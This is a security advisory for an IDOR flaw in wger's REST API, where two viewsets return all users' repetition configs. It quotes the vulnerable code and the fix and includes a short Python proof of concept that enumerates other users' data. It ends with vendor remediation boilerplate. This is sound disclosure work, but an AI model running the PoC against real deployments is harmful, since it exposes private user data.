Description
Summary
RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet return all users' repetition config data because their get_queryset() calls .all() instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.
Details
wger/manager/api/views.py:499 and :518:
# VULNERABLE
class RepetitionsConfigViewSet(viewsets.ModelViewSet):
def get_queryset(self):
return RepetitionsConfig.objects.all()
class MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):
def get_queryset(self):
return MaxRepetitionsConfig.objects.all()
Every sibling viewset in the same file correctly filters by user. For example, WeightConfigViewSet at line 459:
# CORRECT — how it should work
def get_queryset(self):
return WeightConfig.objects.filter(
slot_entry__slot__day__routine__user=self.request.user
)
The same user filter is present on SetsConfig, RestConfig, RiRConfig, and their Max variants — only RepetitionsConfig and MaxRepetitionsConfig are missing it.
PoC
import requests
BASE = "http://localhost"
headers = {"Authorization": "Token YOUR_TOKEN"} # any registered user
r = requests.get(f"{BASE}/api/v2/repetitions-config/", headers=headers)
print(r.json()) # returns ALL users' repetition configs, not just your own
r = requests.get(f"{BASE}/api/v2/max-repetitions-config/", headers=headers)
print(r.json()) # same — all users' max repetition configs
Registration is open by default. Sequential IDs allow full enumeration.
Impact
Any authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.
Fix: Add the same user filter used by every other config viewset:
def get_queryset(self):
return RepetitionsConfig.objects.filter(
slot_entry__slot__day__routine__user=self.request.user
)

Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wger, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of wger for CVE-2026-27835. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
